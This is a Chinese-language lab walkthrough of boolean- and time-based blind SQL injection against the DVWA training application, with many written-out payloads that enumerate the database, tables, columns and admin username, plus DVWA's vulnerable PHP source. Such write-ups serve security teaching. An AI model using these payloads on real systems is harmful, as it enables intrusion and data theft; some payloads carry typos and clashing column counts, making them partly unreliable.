SQL盲注,目标只会回复是或不是,没有详细内容
一.基于布尔值的盲注
初级low
如图说明成功
1 and 1=2,返回成功,说明没有执行后面语句,不是数字型
1’or’1’='1
说明成功
1’ and ‘1’ =‘1
成功
1’ and ‘1’ ='2
失败
说该SQL注入为字符型
2.猜解数据库长度
1’ and length(database())=1 #
1’ and length(database())=4 #
成功,说明数据库长度为4
3.猜解数据库的名称
查看ASCII码对照表
1’ and ascii(substr(database(),1,1))>97 #
两个1分别代表起始位和长度
1’ and ascii(substr(database(),1,1))<122 #,说明数据库名称在小写24个字母内
1’ and ascii(substr(database(),1,1))<110 #也正确
缩减范围,最后确定100
1’ and ascii(substr(database(),1,1))=100 #
说明第一位为d
第二位就把起始位改为2,和第一个一样的方法最后确定为118,v
1’ and ascii(substr(database(),3,1))=119 #
第三位
1’ and ascii(substr(database(),3,1))=119 # 为w
第四位
1’ and ascii(substr(database(),4,1))=97 #
为a
最终数据库名称为dvwa
4.猜解数据中的表名
猜解库中有几个表
1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=1 #
错误,说明不是一个,然后一个个往上试,
1’ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2 #
正确,说明有两个表
猜解表的长度
1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=1 #
错误
1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9 #
试到9试成功
说明第一个表名长度为9
第二个表
1’ and length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),2))=5 #
5时成功,说明第二个表名为5位
猜解表的名称
第一个表第一位数
方法和猜解数据库名称方法一样
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’limit 0,1),1))>97 #
1’ and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa’limit 0,1),1))<122 #
1’ and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa’limit 0,1),1))=103 #
最终103成功,为g
1’ and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa’limit 0,1),2))<97 #
算第二个
最终算出全部的
两个表为guestbook,users
5.猜解数据
猜解有几列
1’ and (select count(column_name)from information_schema.columns where table_name=‘usere’)=1 #
失败
1’ and (select count(column_name)from information_schema.columns where table_name=‘users’)=8 #
成功,说明有8列数据
猜解每列列名长度
第一列
1’ and length(substr((select coulumn_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=1 #
失败
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=7 #
成功,说明有列名7位数
第二列
1’ and length(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2))=6 #
说明有6位数
然后按照这样继续
把8个列名都算出来
猜解列名称
和之前的库的方法一样
第一列名第一位
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>97 #
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))<122 #
最终定在117,u
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))=117 #
第二位
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2))=115 #
最终定位115,s
第二个列名第一位,把0改为1就是第二个列名
1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 1,1),1))=102 #
102位f
如此反复最后所有的列名为:
user_id,first_name,last_name,user,password,avatar,last_login,failed_login 8个
猜解用户名
1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97 #
为a
1’ and (ascii(substr((select user from users limit 0,1),2,1)))=100 #
为d
1’ and (ascii(substr((select user from users limit 0,1),3,1)))=109 #
为m
最终结果为admin,用户名为admin
基于时间的盲注
1’ and sleep(5) #
正确,为字符型
无论下面结果跳对跳错,只要等待5秒后有反应就说明是正确的
1 and sleep(5) #
立即跳出,说明错误,不是数字型
2.猜解数据库的长度
自己感受时间我就不上图了
1’ and if(length(database())=1,sleep(5),1)#
失败
1’ and if(length(database())=4,sleep(5),1)#
加载5秒,成功
长度为4
3.猜解数据库的名称
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
成功
1’ and if(ascii(substr(database(),1,1))<112,sleep(5),1)#
成功,全为小写字母
和布尔值一样的方法试出
1’ and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
第一位为100,d
1’ and if(ascii(substr(database(),2,1))=118,sleep(5),1)#
第二位为118,v
最后以此类推为dvwa
4.猜解数据库有几个表
1’ and if((select count(table_name)from information_schema.tables where table_schema=‘dvwa’)=1,sleep(5),1)#
失败
1’ and if((select count(table_name)from information_schema.tables where table_schema=‘dvwa’)=2,sleep(5),1)#
成功,有两个表
5.猜解表的长度
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=1,sleep(5),1)#
失败
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))=9,sleep(5),1)#
成功,说明第一个表为9位
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=5,sleep(5),1) #
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 1,1),1))=5,sleep(5),1) #
成功,说明是5
6.猜解表的名称
第一位
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))>97,sleep(5),1)#
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))<112,sleep(5),1)#
第二位
1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1))<112,sleep(5),2)#
然后慢慢试
两个表为guestbook,users
7.猜解表中有几个字段
1’ and if((select count(column_name)from information_schema.columns where table_name=‘users’)=8,sleep(5),1) #
8.猜解字段的长度
1’ and if(length(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=7,sleep(5),1)#
9.猜解字段的名称
1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1))>97,sleep(5),1)#
然后慢慢猜解
中级medium
设置了下拉表单,所以我们通过抓包注入
打开burpsuite抓包,将数据框起来点击send to repeater
进入repeater页面
方法和SQL注入中级的一样,
F12进入然后点击左下工具鼠标放在框内发现下面蓝条为name=id
所以将数据填入id后面
1 and 1 =1
将数据填在id后面,1 and 1 =1 成功,说明为数字型
1’and ‘1’ ='1 失败
2.猜解数据库长度
1 and length(database())=4 # 成功数据库为4位
3.猜解数据库名称
1 and ascii(substr(database(),1,1))>97 #
1 and ascii(substr(database(),1,1))=100 #
接下来的方法就和初级的一样,只需要把‘去掉就可以
如股票后期有代码里的dvwa和users将要将他们改成16进制
我就具几个例子
1 and (select count(table_name) from information_schema.tables where table_schema=‘dvwa’)=2#
改为
1 and (select count(table_name) from information_schema.tables where table_schema=0x64767761)=2
成功
1 and (select count(column_name)from information_schema.columns where table_name=‘users’)=811 #
改为
1 and (select count(column_name)from information_schema.columns where table_name=0x7573657273)=11 #
正确,说明有11行数据
高级high
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
1'or'1'='1
从代码看出limit 1,只能输入一个字符,字符型输入,然后随机加载2-4秒,所以无法使用时间注入,因为必须使我们sleep的时间远大于4秒这样的话比较浪费时间
高级我们只需要在最后加个#,就可以注释掉limit 1
成功,为字符型